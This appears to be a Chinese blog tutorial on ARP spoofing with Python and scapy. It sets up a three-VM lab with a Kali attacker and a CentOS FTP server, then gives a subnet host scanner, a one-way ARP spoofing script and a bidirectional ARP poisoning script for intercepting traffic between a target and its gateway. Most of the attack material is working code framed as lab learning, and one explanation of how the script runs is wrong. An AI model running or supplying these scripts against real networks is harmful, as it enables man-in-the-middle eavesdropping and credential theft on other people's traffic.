ARP欺骗程序代码实现

首先需要配置环境:

选择三台虚拟机,我选择的是:Win2008(充当客户机1),CentOS(充当客户机2),kali(充当攻击者)

1.先让它们在同一网段(比如都在10网段,即Win2008:ip:192.168.10.101  CentOS: ip:192.168.10.102  kali:ip:192.168.10.103),相互可以ping通

2.在CentOS搭建ftp服务器,并添加用户

yum install vsftpd

配置vsftpd.conf 默认位置:/etc/vsftpd/vsftpd.conf          anonymous_enable=NO

在CentOS中添加用户 用于ftp连接 :useradd alice –d /home/alice

                                                        passwd alice

启动vsftpd :systemctl start vsftpd

关闭防火墙 systemctl stop firewalld  / systemctl disable firewalld

3.Win2008连接到CentOSftp服务器:在浏览器输入:ftp://192.168.10.102

4.kali:因为要用到scapy库,但是有的是没有pip的即需要下载pip

以kali2023版为例:下载pip:

wget https://bootstrap.pypa.io/get-pip.py

python get-pip.py

下载成功后检查:pip -V  出现pip的版本即代表成功

环境搭建成功就可以写代码啦!

扫描某网段的存活主机:

python3 XX.py(XX:你自己定义的python名)

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

ip = "192.168.XX.101"
wifi = "eth0"

p = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.XX.1/24")
ans, unans = srp(p, timeout=2, iface=wifi)

print("一共扫描到%d台主机:" % len(ans))
result = []
for s, r in ans:
    result.append([r[ARP].psrc, r[ARP].hwsrc])
result.sort()
for ip, mac in result:
    print(ip, "----->", mac)

arp欺骗代码:

#!/usr/bin/python

import sys
import time
from scapy.all import *
from scapy.layers.l2 import Ether, ARP


def arpspoof(ip1,ip2):
    try:
        pkt=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip1,psrc=ip2)
        sendp(pkt)
        return
    except:
        return
def main():
    if len(sys.argv)!=3:
        print ("输入:  ./arp_spoof.py IP1 IP2")
        sys.exit()

    ip1 = str(sys.argv[1]).strip()
    ip2 = str(sys.argv[2]).strip()

    while True:
        try:
            arpspoof(ip1,ip2)
            time.sleep(0.5)
        except KeyboardInterrupt:
            print ("no....")
            break

if __name__== '__main__':
    main()

      def arpspoof(): 这个函数构造并发送一个ARP欺骗数据包。 尝试将目标IP的主机ARP缓存中的MAC地址更改为欺骗者的MAC地址。如果发生任何异常,该函数将返回。

        main(): 函数首先检查命令行参数的数量。如果参数数量不等于3(脚本名+两个参数),则显示用法信息并退出程序。 如果参数数量正确,它会从命令行参数中获取目标IP和网关IP。然后,它进入一个无限循环,持续发送ARP欺骗数据包,并在每次发送后休眠0.5秒。 如果用户按下键盘中断(Ctrl+C),则退出循环。 **脚本执行**: 如果直接运行这个脚本(例如通过命令python arp_spoof.py),则if name== 'main':这一行确保main()函数不会被执行。但是,如果你通过命令行参数运行这个脚本,例如python arp_spoof.py 192.168.10.101 192.168.10.254,则main()函数会被执行。

ARP双向欺骗代码:(可以监听被攻击的两台主机的消息)

#!/usr/bin/env python3
from scapy.all import *             #导入scapy模块
from optparse import OptionParser       #导入命令行参数处理模块optparse
import sys

from scapy.layers.l2 import getmacbyip, Ether, ARP


def main() :
    usage = "Usage: [-i interface] [-t targetip] [-g gatewayip]"
    parser = OptionParser(usage)
    parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所选择的网卡,eth0或wlan0,存放在interface变量中
    parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻击的ip,存放在targetip变量中
    parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 网关ip,存放在gatewayip变量中
    (options,args)=parser.parse_args()
    if options.interface and options.targetip and options.gatewayip:
        interface=options.interface
        tip=options.targetip
        gip=options.gatewayip
        spoof(interface,tip,gip)#将参数传给spoof函数
    else:
        parser.print_help()#显示帮助
        sys.exit(0)
def spoof(interface,tip,gip):#获取命令行的输入实现arp攻击
    localmac=get_if_hwaddr(interface)#get_if_hwaddr获取本地网卡MAC地址
    tmac=getmacbyip(tip)#根据目标ip获取其MAC地址
    gmac=getmacbyip(gip)#根据网关ip获取其MAC地址
    ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#构造arp响应包,欺骗目标机器网关的MAC地址为本机MAC地址
    pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#构造arp响应包,欺骗网关目标机器的MAC地址为本机MAC地址
    try:
        while 1:
            sendp(ptarget,inter=2,iface=interface)
            print ( "send arp reponse to target1(%s),target2(%s) macaddress is %s"%(tip,gip,localmac))
            sendp(pgateway,inter=2,iface=interface)
            print ( "send arp reponse to target2(%s),target1(%s) macaddress is %s"%(gip,tip,localmac)) #不断发送arp响应包欺骗目标机器和网关,直到ctrl+c结束程序
    except KeyboardInterrupt:
        sys.exit(0)
if __name__=='__main__':
    main()

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值